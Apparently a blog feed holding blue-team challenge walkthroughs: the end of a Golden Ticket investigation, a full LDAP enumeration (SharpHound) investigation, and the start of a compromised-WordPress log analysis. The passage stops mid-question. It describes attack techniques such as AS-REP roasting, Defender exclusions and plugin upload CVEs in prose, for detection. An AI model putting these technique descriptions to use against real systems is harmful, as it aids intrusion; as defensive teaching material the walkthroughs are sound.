Active Directory domain when an account has pre-authentication disabled. With pre-authentication enabled, the user\u0026rsquo;s AS-REQ includes a timestamp encrypted with the hash of their password and the DC must decrypt it before issuing an AS-REP containing a TGT. When an account doesn\u0026rsquo;t require this pre-authentication, attackers can just send an AS-REQ, snag the AS-REP, and then brute-force the encrypted data offline to expose credentials. Not good!\nSo, what does this mean for our investigation? Another useful resource in MITRE ATT\u0026amp;CK is the detection strategy for these attacks. It recommends hunting for:\nDetects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).\nLet\u0026rsquo;s put this into action in Event Log Explorer and search for:\nTGT requests: Event ID 4768 with PreAuthType = 0 Service ticket activity: Event ID 4769 where TicketEncryptionType = 0x17 to spot legacy RC4 usage Event Log Explorer: Filtering for AS-REP roasting targets\nBingo! When you apply these filters, you\u0026rsquo;ll find exactly one matching hit: a single 4768 event that matches the detection conditions. That event contains what we need to answer Questions 4 \u0026amp; 5.\nEvent Log Explorer: Stumbling across a matching event log\nQuestions 6 \u0026amp; 7: After gaining access to the Domain Controller, the attacker attempted to generate a Golden Ticket to impersonate a DC user. What was the target account? At what time did the attacker try to log in using the Golden Ticket? On to the last two questions! We\u0026rsquo;re looking for another successful login event that might indicate attempted use of a Golden Ticket, impersonating another user in the domain. Since the question tells us we\u0026rsquo;re looking after the attacker gained access to the domain controller, let\u0026rsquo;s apply some focused filtering in Event Log Explorer:\nFilter Event IDs: 4624 (Successful Logon) and 4768 (TGT requests) Time window: Events on the day of the attack after the event we found in Question 5 Exclude previously identified accounts: Filter out Corrado Exclude computer accounts: Remove SOPRANOS-DC$ to focus only on user accounts Event Log Explorer: Applying filters to reduce the noise\nWith these filters applied, we\u0026rsquo;ll identify activity for the Administrator account — a juicy target for an attacker looking for the keys to the kingdom. Let\u0026rsquo;s focus on this account now.\nEvent Log Explorer: Identifying an Administrator user in the event logs\nTo correlate associated Administrator activity, expand the filtered event set to include 4768, 4769, 4624, and 4625 (logon failure), add Administrator to the Text in description field, and clear any description parameters we used earlier so we don\u0026rsquo;t suppress relevant fields.\nEvent Log Explorer: Filtering for Administrator activity\nFrom the results, something looks odd. Between 5:04:23 PM and 5:41:28 PM, we discover dozens of 4769 (service ticket request) events, a couple of 4768 (TGT) events, and several 4625 logon failures for Administrator. In other words, this looks suspiciously like testing or enumeration noise from the attacker.\nThen we hit what really tips us off: at 5:57:03 PM there\u0026rsquo;s a clean sequence that ends in a successful logon: 4768 → 4769 → **4624**.\nEvent Log Explorer: Identifying a suspicious logon event sequence\nThis 4624 is Logon Type 2 (interactive). That isn\u0026rsquo;t the usual network pattern we often see with Golden Ticket use (typically surfaces as Logon Type 3 on a target server), but it differs from the earlier Type 7 unlocks we observed for this account and lands right after the suspicious 4769/4625 activity. That contrast is enough to treat it as a strong lead.\nSince we\u0026rsquo;re absent any other clues indicating a Golden Ticket like a Logon GUID of {00000000-0000-0000-0000-000000000000}, odd ticket options, or a missing preceding TGT request, we\u0026rsquo;ll treat this as an educated guess: the Administrator logon at 5:57:03 PM is the most likely moment the attacker successfully authenticated using forged credentials, following the enumeration we observed.\nIt\u0026rsquo;s not perfect evidence, but the timing, the switch to Logon Type 2, and the 4769/4625 pattern make it the best option to prove our case. Let\u0026rsquo;s see if we\u0026rsquo;ve got it right!\nConclusion: How fun was that! A huge thank you to LetsDefend for dropping these awesome classic Active Directory attack challenges.\nThis one was a great chance to revisit Kerberos fundamentals and sharpen our incident response skills. Instead of juggling multiple artifacts, we focused on a single source, the Windows Security Event Log, and used Event Log Explorer to piece together what went down. Along the way, we uncovered an AS-REP roasting attempt, correlated suspicious ticket activity, and stumbled on a Golden Ticket use. It\u0026rsquo;s a reminder that even with limited data, careful filtering and enrichment from MITRE ATT\u0026amp;CK can help tie up the loose ends.\nI chose this challenge to brush up on my Windows incident response skills and refresh on Kerberos, classic Active Directory attacks, and misconfiguration pitfalls like missing pre-authentication. In a cloud-native world, it\u0026rsquo;s easy to forget that these techniques like enumeration, ticket forging, and lateral movement are still widely used in real-world attacks. Knowing how to spot them is extremely handy for any blue teamer. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/golden-ticket\nEvent Log Explorer: https://eventlogxp.com/\n**Microsoft Learn — \u0026quot; # \u0026quot;\nKerberos Network Authentication Service (V5) Synopsis\u0026quot; :** https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13\nMITRE ATT\u0026amp;CK — Steal or Forge Kerberos Tickets: Golden Ticket (T1558.001): https://attack.mitre.org/techniques/T1558/001/\nMITRE ATT\u0026amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/\n**Microsoft Learn — \u0026quot; # \u0026quot;\n4768(S, F): A Kerberos authentication ticket (TGT) was requested\u0026quot; **: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768\n**Microsoft Learn — \u0026quot; # \u0026quot;\n4769(S, F): A Kerberos service ticket was requested\u0026quot; :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769\n**Microsoft Learn — \u0026quot; # \u0026quot;\n4624(S): An account was successfully logged on\u0026quot; :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624\n","date":"2026-01-19T00:00:00Z","image":"/posts/letsdefend-golden-ticket-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-golden-ticket-challenge-walkthrough/","title":"LetsDefend — Golden Ticket Challenge Walkthrough"},{"content":"LetsDefend — LDAP Enumeration Challenge Walkthrough Investigating Suspicious Network Enumeration Using Event Log Explorer and Eric Zimmerman\u0026rsquo;s Tools. Image Credit: https://app.letsdefend.io/challenge/ldap-enumeration\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a detailed guide to the LDAP Enumeration blue team challenge from LetsDefend, you\u0026rsquo;re in the right place.\nChallenge Scenario: A network has been breached, and an alert was triggered indicating suspicious network enumeration activities from IP 192.168.110.129. Initial indicators suggest an attacker inside the network is actively probing systems and gathering information about critical assets. You are tasked with tracing the attacker\u0026rsquo;s movements to determine the source of the anomaly, understand how the attacker gained access, and assess what actions they might have taken inside the network.\nFor this challenge, we\u0026rsquo;re putting on our incident response hats. Suspicious network enumeration and discovery activities have been identified coming from a single workstation. We\u0026rsquo;re handed a zip file containing Windows artifacts from the affected device and tasked with piecing together what happened and what tool triggered the alert.\nThis scenario will have us pivoting between tools to deep dive into a variety of forensic artifacts as we build a timeline of the attack and uncover which tools were used or abused. To do this, we\u0026rsquo;ll crack open our toolboxes and leverage a mix of Eric Zimmerman\u0026rsquo;s forensic tools, Event Log Explorer, and VirusTotal to analyze the evidence.\nI\u0026rsquo;ll walk through each step clearly, and by the end, you\u0026rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestions 1 \u0026amp; 2: The investigator needs to determine when the attacker first accessed the system. Based on the login records, when did the first successful login from the malicious IP occur? What is the port number used for the previous login? Let\u0026rsquo;s kick off this investigation and figure out what\u0026rsquo;s causing this suspicious network enumeration.\nFirst, extract LDAP-Enum.7z from the ChallengeFile folder. This leaves us with a folder named C, which contains various artifacts from a Windows system that we\u0026rsquo;ll use throughout our investigation.\nOverview of the challenge artifacts\nThe first thing we need to home in on is malicious login activity. For this, we\u0026rsquo;ll use the Windows Security Event log, which contains, among other things, the login events for the system. Within our artifacts, the logs can be located in the following directory:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\System32\\winevt\\logs\\Security.evtx\nThe location of the security event log artifact\nTo view the logs, we have a couple of options. We can open this in Windows Event Viewer, or we can use Event Log Explorer, a third-party utility that speeds up event log analysis. Since Event Log Explorer is already built into the LetsDefend analysis environment, I\u0026rsquo;ll be using it for this walkthrough.\nNext, open Event Log Explorer and load the Security.evtx file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.\nPress the filter button to focus on Event ID 4624 (Successful Login). We can also search for Text in description to narrow things down. A crucial detail to remember from the scenario is that the IP address 192.168.110.129 was identified as the source of the network enumeration activity, so we\u0026rsquo;ll use that to search all of the details for records that contain that IP.\nEvent Log Explorer: Filtering successful login events from the malicious IP\nEvent Log Explorer: Identifying the first login from the malicious IP and the source port\nBy applying this filter, we\u0026rsquo;ve quickly identified the first login from the malicious IP address — and we\u0026rsquo;ve even discovered the source port that we need to answer Question 2.\nQuestion 3: Once inside the system, it seems the attacker immediately began gathering information. What was the first command they executed? Our next task is to figure out the first command the attacker executed once they gained access. For this, we\u0026rsquo;ll pivot from the event logs and turn to another forensic artifact: Windows Prefetch files.\nRather than try to explain the value of these artifacts myself, I\u0026rsquo;ll lean on the excellent blog post from Magnet Forensics. They explain:\nPrefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user\u0026rsquo;s application history on a computer.\nSo, if we can access the prefetch files, we can determine what the first command executable was run. We can locate the prefetch files in the ChallengeFile\\C\\Windows\\prefetch directory, but they aren\u0026rsquo;t much use to us as-is.\nThe location of the prefetch file artifacts\nTo parse the prefetch files, we\u0026rsquo;ll leverage one of the many Eric Zimmerman tools — PECmd. This utility is already loaded into the analysis environment, so we only need to launch it through PowerShell using the syntax below to specify the prefetch directory and an output directory and file. Here\u0026rsquo;s an example where PECmd outputs to a file called investigation.csv:\n.\\PECmd.exe -d \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\prefetch\u0026quot; \u0026ndash;csv C:\\Users\\LetsDefend\\Desktop\\ChallengeFile \u0026ndash;csvf investigation.csv\nOnce the file is generated, we\u0026rsquo;ll open it with another Eric Zimmerman tool, Timeline Explorer, which allows us to view and sort the output data in a structured way.\nWithin Timeline Explorer, filter the Last Run column so we can start to build out a timeline. From the previous questions, we know the attacker first logged in at 2024-10-05 14:48:58, so we\u0026rsquo;ll focus on events right after that. With the entries sorted, let\u0026rsquo;s look at the Executable Name column—and we\u0026rsquo;ll find the first discovery command run:\nTimeline Explorer: Filtering for executables following the initial login\nwhoami.exe is an example of System Owner/User Discovery (MITRE ATT\u0026amp;CK T1033) used to identify the currently logged-in user on the system and check what level of access they have.\nLet\u0026rsquo;s figure out what they did next.\nQuestion 4: During the attack, the attacker downloaded a malicious file. What is the exact URL of the file? Now that we\u0026rsquo;ve started to gather a rough timeline of the attack in Timeline Explorer, we can see other potentially interesting executables that could be abused by the attacker to download further payloads — including bitsadmin, powershell, and curl.\nTimeline Explorer: Identifying methods of ingress tools transfer\nAll of these commands are important pieces of the puzzle. But most interestingly, following the use of BITSADMIN.EXE, we also see evidence of another suspicious executable: Sharphound.exe. SharpHound is the ingestor for BloodHound, a well-known Active Directory reconnaissance tool.\nThis seems like a good place to start answering Question 4 and determine the full download URL of the Sharphound.exe file. Since we already noted that this activity followed BITSADMIN.EXE, we\u0026rsquo;ll use the BITS Client Operational Logs to discover (no pun intended) more details. These logs can be located in the directory below. Go ahead and open them in Event Log Explorer:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\System32\\winevt\\logs\\Microsoft-Windows-Bits-Client%4Operational.evtx\nScroll down to the matching timestamp that we found in Timeline Explorer to identify the URL that the tool was downloaded from.\nEvent Log Explorer: Identifying the URL the malicious file was downloaded from\nQuestion 5: The download logs indicate when the malicious file was brought onto the system. What time did the download occur? Unfortunately, the timestamp in the BITS logs only indicates when the BITS job was created — not when the file was actually written to the file system. So, we\u0026rsquo;ll pivot to yet another artifact: the master file table ($MFT). To explore the MFT, we\u0026rsquo;ll use MFTExplorer, the GUI version of Eric Zimmerman\u0026rsquo;s MFTECmd.\nFor some context about this artifact, let\u0026rsquo;s lean on the Magnet Forensics blog again, where it\u0026rsquo;s explained:\nIn the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file\u0026rsquo;s attributes, such as its name, size, timestamps, permissions, and more.\nPutting this together, the idea is that by parsing the $MFT, we can identify the creation timestamp of the SharpHound.exe binary, indicating when it was downloaded.\nOnce you have MFTExplorer open, load the $MFT artifact from:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C$MFT\nThen, in the directory structure browser on the left, navigate to the file path we found in the BITS Client log in the last question:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\Temp\nMFT Explorer: Identifying the creation time of the SharpHound.exe binary\nHere, you\u0026rsquo;ll find the record for the malicious SharpHound.exe file. The SI_Creation On column contains the timestamp of the download.\nQuestion 6: Windows Defender detected the malicious file and generated an alert. What is the SHA1 hash of this file? Now that we\u0026rsquo;ve identified how and where the malicious file was downloaded, let\u0026rsquo;s turn our attention to gathering some additional details about the file. Fortunately, the question tells us that the SharpHound.exe binary was detected by Windows Defender, so our first stop will be to review the Defender detection logs for any more clues.\nWithin our artifacts, we can find the Windows Defender Operational logs here:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\System32\\winevt\\logs\\Microsoft-Windows-Windows Defender%4Operational.evtx\nLoad this up in Event Log Explorer and apply some filtering. This time, we\u0026rsquo;ll search for Event ID 1117 and 1116. Per the Microsoft Learn documentation, these events correspond to:\nMALWAREPROTECTION_STATE_MALWARE_DETECTED MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN These should give us good coverage of detection and remediation actions.\nEvent Log Explorer: Identifying malware detection events\nAfter applying the filter, we\u0026rsquo;ll find events showing the detection and quarantine actions taken on the SharpHound.exe file. While helpful, these event logs don\u0026rsquo;t contain the SHA1 file hash we need to answer the question.\nNo problem! Let\u0026rsquo;s pivot to a second local Defender artifact — the Support logs. We can find these here:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\ProgramData\\Microsoft\\Windows Defender\\Support\nOverview of the Windows Defender support logs\nInside this directory, open the MPLog-20240813€“091114.log file with a text editor like Notepad++. Then, simply search for the name of the file: SharpHound.exe.\nNotepad++: Finding the file hash in the MPLog\nBingo! Right below the file name is the SHA1 hash of the file. This is extremely handy if we need to pivot to external threat intelligence platforms. It\u0026rsquo;s a great example of why understanding all available logs is fundamental, since the Event Logs didn\u0026rsquo;t contain what we needed.\nQuestion 7: To evade detection, the attacker excluded a specific directory from the Defender scan. What command did they use to do so? Okay, so we figured out the malware got detected the first time — whoops! From the question, we know the attacker then made an exclusion for a directory, probably to use as a staging area to further avoid detection.\nLet\u0026rsquo;s jump back to the Windows Defender Operational logs we explored in the previous question. This time, we\u0026rsquo;ll filter for Event ID 5007 (MALWAREPROTECTION_CONFIG_CHANGED), since any exclusion actions should be captured by this event.\nEvent Log Explorer: Discovering a Defender exclusion configuration\nIn Event Log Explorer, the first events at the top of the list from the date of the attack show two interesting changes:\nTampering with the real-time protection setting Setting a new configuration value for an exclusion path: C:\\Windows\\Temp So now we know the directory, but we still don\u0026rsquo;t know the exact command used. Why don\u0026rsquo;t we check the PowerShell logs for evidence of command execution? These logs are in the same directory as the rest of the event logs. The only trick is that there are two PowerShell logs — we want the Windows PowerShell log, not the operational log:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\System32\\winevt\\logs\\Windows PowerShell.evtx\nSince we already have a timestamp from the Defender logs for when the exclusion was implemented, we can correlate that with the PowerShell log. By doing that, we\u0026rsquo;ll stumble across the exact command used to set the exclusion.\nEvent Log Explorer: Finding the exclusion command in the Windows Powershell logs\nQuestion 8: The attacker executed the malicious file soon after downloading it. When exactly did they first run it? For this, we\u0026rsquo;ll head back to Timeline Explorer and review our PECmd output from Questions 3 and 4 (investigation.csv).\nUse the search box to look for Sharphound.exe. Then, focus on the Last Run column to get the exact timestamp of when the malware was executed.\nTimeline Explorer: Identifying the last run timestamp of the malicious file\nNow we have the complete picture of how the file was downloaded, when it was downloaded, when it was detected, and when it was run.\nQuestion 9: After executing the malicious file, a zip file was created on the system. What is the full path of this zip file? We\u0026rsquo;re closing in on the investigation and starting to get our arms around the reconnaissance utilities being downloaded into the victim environment. To answer Question 9, we need to identify a zip file created on the system following the execution of SharpHound.exe.\nYou might have spotted a clue earlier when reviewing the Defender Operational logs, where we saw evidence of a malicious file downloaded by abusing a living-off-the-land binary: certutil. While that\u0026rsquo;s out of scope for this challenge, it\u0026rsquo;s worth noting. More importantly, the Defender event also shows the full command run—which includes the directory where the file was copied on the victim system.\nEvent Log Explorer: Stumbling across a malicious zip file\nLet\u0026rsquo;s approach this another way, too. Jump back over to MFTExplorer and continue searching the excluded directory C:\\Windows\\Temp, where we previously found the SharpHound.exe binary. Since we\u0026rsquo;ve determined this is being used by the attacker as a staging directory, we can look for any other suspicious zip files and correlate them with the Defender logs.\nMFT Explorer: Confirming the malicious zip file\nVoila! We find the record for the malicious zip file in the same staging directory. Remember when I mentioned that SharpHound is the collector for BloodHound? Now we have confirmation that BloodHound is also present, and we can start to get a pretty good idea of the techniques the attacker will employ next: reconnaissance and enumeration of the environment using LDAP queries to map Active Directory objects.\nQuestions 10 \u0026amp; 11: What is the malware family name associated with the malicious file that was downloaded? What is the malware signature detected by Windows Defender for the malware? To go out with a bang, let\u0026rsquo;s tackle these two questions together. This pair can be a little confusing because we just discovered evidence of BloodHound. However, these questions are asking about the detection signature name for the SharpHound.exe binary we found in the Defender Event logs back in Question 6—and we already stumbled across the answer.\nHere\u0026rsquo;s a quick refresher:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\System32\\winevt\\logs\\Microsoft-Windows-Windows Defender%4Operational.evtx\nEvent Log Explorer: Identifying the malware family of SharpHound\nHere\u0026rsquo;s where it gets tricky: we\u0026rsquo;re looking for the family name that the SharpHound.exe binary belongs to—not the name of the binary itself. A malware family name is used to describe multiple pieces of malware that share specific properties like capability, origin, or code base.\nTo confirm this, let\u0026rsquo;s pivot to VirusTotal for additional intelligence, such as community family labels. Copy the SHA1 hash we found in Question 6 and navigate to VirusTotal:\nhttps://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272\nOnce the results page loads, focus on the family labels. One of them matches something we saw in the Defender logs: MSIL.\nFor additional context, Microsoft follows its own naming convention for malware detections, and it can be difficult to decipher what\u0026rsquo;s being detected from the name alone. A great resource for this is the Microsoft Learn page: How Microsoft names malware.\nHow Microsoft names malware - Unified security operations _Understand the malware naming convention used by Microsoft Defender Antivirus and other Microsoft antimalware._learn.microsoft.com\nBased on this article, we can understand that MSIL describes the malware\u0026rsquo;s scripting language — not what we typically think of as a malware family. According to the docs, MSIL refers to .NET Intermediate Language scripts.\nThe full detection signature name from Defender combines this prefix with additional details about the threat.\nEvent Log Explorer: Identifying the malware detection signature of SharpHound\nIn this example, we can decipher some further details:\nVirTool: Indicates the file is a tool that could be used maliciously MSIL: The platform or language (.NET Intermediate Language) SharpHound.A: The specific malware family and variant And that wraps up our investigation! Awesome job!\nConclusion: How fun was that! A big thank you to LetsDefend for another awesome challenge.\nThis challenge provided a great opportunity to go back to the basics and dive into forensics and incident response for some classic Active Directory reconnaissance techniques. It pushed us to pivot between multiple artifacts like Windows Event Logs, Prefetch files, $MFT records, and Windows Defender logs to piece together a complete attack timeline. Along the way, we uncovered how attackers can leverage living-off-the-land binaries, abuse legitimate tools like SharpHound, and even tamper with security configurations to evade detection.\nPut together, that\u0026rsquo;s what made it feel so realistic — because in the real world, attackers rarely leave all their footprints in one place. We had to investigate several log sources, learning about each one as we followed the trail and validate our findings using tools like Eric Zimmerman\u0026rsquo;s tools, Event Log Explorer, and VirusTotal.\nI chose this challenge to revisit Windows log artifacts and brush up on investigating Active Directory-based attacks. It\u0026rsquo;s a perfect example of how layered techniques like initial access, reconnaissance, and defense evasion all fit together in an attack chain. And at the core of it all was the attacker\u0026rsquo;s objective: LDAP enumeration, using LDAP queries through tools like BloodHound to map Active Directory objects and identify privilege escalation paths. While we didn\u0026rsquo;t investigate beyond the ingress tools transfer, it was rewarding to see how each question built on the previous one, creating a logical and linear investigation flow. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap and consider following me! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/ldap-enumeration\nEvent Log Explorer: https://eventlogxp.com/\nEric Zimmerman\u0026rsquo;s Tools: https://ericzimmerman.github.io/#!index.md\n**Magnet Forensics Blog — \u0026quot; # \u0026quot;\nForensic Analysis of Prefetch files in Windows\u0026rdquo; :** https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/\nMITRE ATT\u0026amp;CK — System Owner/User Discovery (T1033): https://attack.mitre.org/techniques/T1033/\nMITRE ATT\u0026amp;CK — Software — BloodHound (S0521): https://attack.mitre.org/software/S0521/\n**Magnet Forensics Blog — \u0026quot; # \u0026quot;\n**_Harnessing MFT parsing for incident response investigations\u0026quot;: https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/\nMicrosoft Learn — Review event logs and error codes to troubleshoot issues with Microsoft Defender Antivirus: https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007\nVirusTotal — SharpHound Sample: https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272\nMicrosoft Learn — Malware Names: https://learn.microsoft.com/en-us/unified-secops/malware-naming\n","date":"2026-01-12T00:00:00Z","image":"/posts/letsdefend-ldap-enumeration-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-ldap-enumeration-challenge-walkthrough/","title":"LetsDefend — LDAP Enumeration Challenge Walkthrough"},{"content":"Blue Team Labs Online | Log Analysis — Compromised WordPress | Challenge Walkthrough A Log Analysis Challenge Using http Logs Viewer Image Credit: https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Log Analysis — Compromised WordPress blue team challenge from Blue Team Labs Online, you’re in the right place.\nChallenge Scenario: One of our WordPress sites has been compromised but we’re currently unsure how. The primary hypothesis is that an installed plugin was vulnerable to a remote code execution vulnerability which gave an attacker access to the underlying operating system of the server.\nFor this challenge, we’re putting on our incident response hats. We’ll dig into the provided access.log file, analyze suspicious requests, and piece together how the attacker gained access.\nWe’ll be using http Logs Viewer (formerly Apache Logs Viewer) for log analysis and complementing that with research into CVEs and attacker TTPs. By the end of this walkthrough, you’ll have a clear understanding of how to approach similar investigations in the wild. An even cooler part? While this investigation focuses on a WordPress site compromise, the log analysis skills you’ll practice here apply to other web servers as well — making this a great primer for web server log analysis, too. Sound good? Let’s dive in!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Identify the URI of the admin login panel that the attacker gained access to (include the token) Let’s kick off our investigation by extracting the challenge file from the ZIP we downloaded from BTLO using the password provided in the challenge window. After extraction, we’re left with a single file: access.log. This is the file we’ll analyze to determine how the WordPress site was compromised.\nAn important thing to note here is that the access.log is generated by the backend web server software, like Apache, and not by WordPress directly. Why does this matter? Because it informs what tool we use for analysis and reminds us that these log analysis skills apply far beyond WordPress investigations.\nWith that in mind, while any text viewer works, a great tool for examining access.log is http Logs Viewer (formerly Apache Logs Viewer), which “is a free and powerful tool which lets you monitor, view and analyze Apache/IIS/nginx logs with more ease.” Sounds like it fits the bill!\nOnce you’ve downloaded and installed it, open the tool and load access.log by selecting File \u0026gt; Add Access Log. In the options pop-up window, change the file format to Combined View so we don’t lose any data.\nhttp Logs Viewer: Loading the access.log file\nNow that the logs are open, our first task is to identify the admin login panel URL accessed by the attacker. A good starting point is to get an overview of unique IPs in the log. To do this, click the button next to the IP Address filter and select Unique IPs.\nhttp Logs Viewer: Stumbling upon the weird query in the Unique IP view\nYou’ll see several unique IP addresses, but something stands out: a suspicious POST request from various IPs with what appears to be an admin-level token. This token is likely passed as a query parameter (e.g., ?itsec-hb-token=adminlogin) or embedded in the request body, which attackers often exploit for session hijacking or privilege escalation. Copy the URL, then search for this request string using Ctrl+F. This should take you straight to the first result.\nhttp Logs Viewer: Finding the first instance of the adminlogin token\nSince this is a login URL, contains an admin token, and shows successful requests (HTTP 200 status), it strongly suggests this is the admin panel the attacker accessed.\nQuestion 2: Can you find two tools the attacker used? For this task, we need to identify the two tools used by the attacker. To do this, we’ll switch our focus to the User Agent column. While http Logs Viewer can generate a pie chart of all user agents, it’s not helpful here because we’re looking for something more unique than standard browser strings.\nThat’s OK though, we can do this manually by sorting the User Agent column in descending order to look for any suspicious entries captured in the log.\nhttp Logs Viewer: Identifying the attacker’s tooling through User Agent headers\nWhile there are a few oddities, two stand out: WPScan and sqlmap. WPScan is a WordPress vulnerability scanner, and sqlmap is a penetration testing tool used to detect and exploit SQL injection vulnerabilities. These tools often handily identify themselves in the User-Agent header (e.g., WPScan v3.8.10 or sqlmap/1.4.11), which is why sorting by User Agent works so well.\nThis is a potent combination that would help the attacker identify weaknesses in the WordPress server and then exploit them.\nFor further reading, here are the official sites for these tools:\nHomepage _WPScan is an enterprise vulnerability database for WordPress. Be the first to know about vulnerabilities affecting your…_wpscan.com\nsqlmap: automatic SQL injection and database takeover tool _sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection…_sqlmap.org\nQuestion 3: The attacker tried to exploit a vulnerability in ‘Contact Form 7’. What CVE was the plugin vulnerable to? (Do some research!) To answer Question 3, we already know the attacker targeted the Contact Form 7 plugin, which gives us a jump start on research.\nFirst, let’s confirm evidence of this plugin in the logs. Use the find function(Ctrl+F) in http Logs Viewer and search for requests containing the string contact-form-7.\nhttp Logs Viewer: Searching the logs for the vulnerable plugin\nhttp Logs Viewer: Identifying the version number of the vulnerable plugin\nWith this search, we can confirm the presence of Contact Form 7 in the logs, and more importantly, we can see a version number in the query parameter—this is the key.\nNow we pivot to research mode! Use your favorite search engine to look for vulnerabilities in Contact Form 7 version 5.3.1 which quickly leads us to CVE-2020-35489, an arbitrary file upload vulnerability. For example, using CVEdetails, we learn:\nThe contact-form-7 (aka Contact Form 7) plugin before 5.3.2 for WordPress allows Unrestricted File Upload and remote code execution because a filename may contain special characters.\nThis means attackers could upload malicious files by exploiting improper filename sanitization, leading to remote code execution.\nQuestion 4: What plugin was exploited to get access? To answer Question 4, we need to identify a second vulnerable plugin. Here’s what we know about the attacker so far:\nThey attempted to abuse CVE-2020–35489 in Contact Form 7. CVE-2020–35489 “allows Unrestricted File Upload and remote code execution because a filename may contain special characters.” In other words, the attacker may favor techniques that abuse file uploads. This means we should adjust our search scope in http Logs Viewer to focus on HTTP POST requests, specifically targeting upload endpoints. We can do this by applying the Request Methods filter and setting it to POST.\nhttp Logs Viewer: Filter HTTP POST requests\nOnce the filter is applied, the log becomes much more manageable. It’s easier to spot successful POST requests to both Contact Form 7 and a second plugin: Simple-File-List, with a suspicious-looking .php file in the upload path.\nhttp Logs Viewer: Identifying a second plugin\nIt seems like we’re on the right track, but we don’t yet have explicit evidence of the version of Simple-File-List to confirm if it’s vulnerable to remote file upload exploitation, right? So, let’s work backwards and research any vulnerability in this plugin that fits that criteria.\nWith a little searching, we’ll stumble across CVE-2020–36847. According to the National Vulnerability Database:\nNVD _The Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including…_nvd.nist.gov\nThe Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 4.2.2 via the rename function which can be used to rename uploaded PHP code with a png extension to use a php extension. This allows unauthenticated attackers to execute code on the server.\nThis aligns perfectly with the attacker’s known TTPs. Without any other evidence, let’s make an educated gamble and check if version 4.2.2 was the plugin exploited by the attacker.\nQuestion 5: What is the name of the PHP web shell file? Now that we’ve confirmed Simple-File-List version 4.2.2 was exploited to gain access, this explains the suspicious-looking .php file we called out in Question 4.\nWhile we don’t have 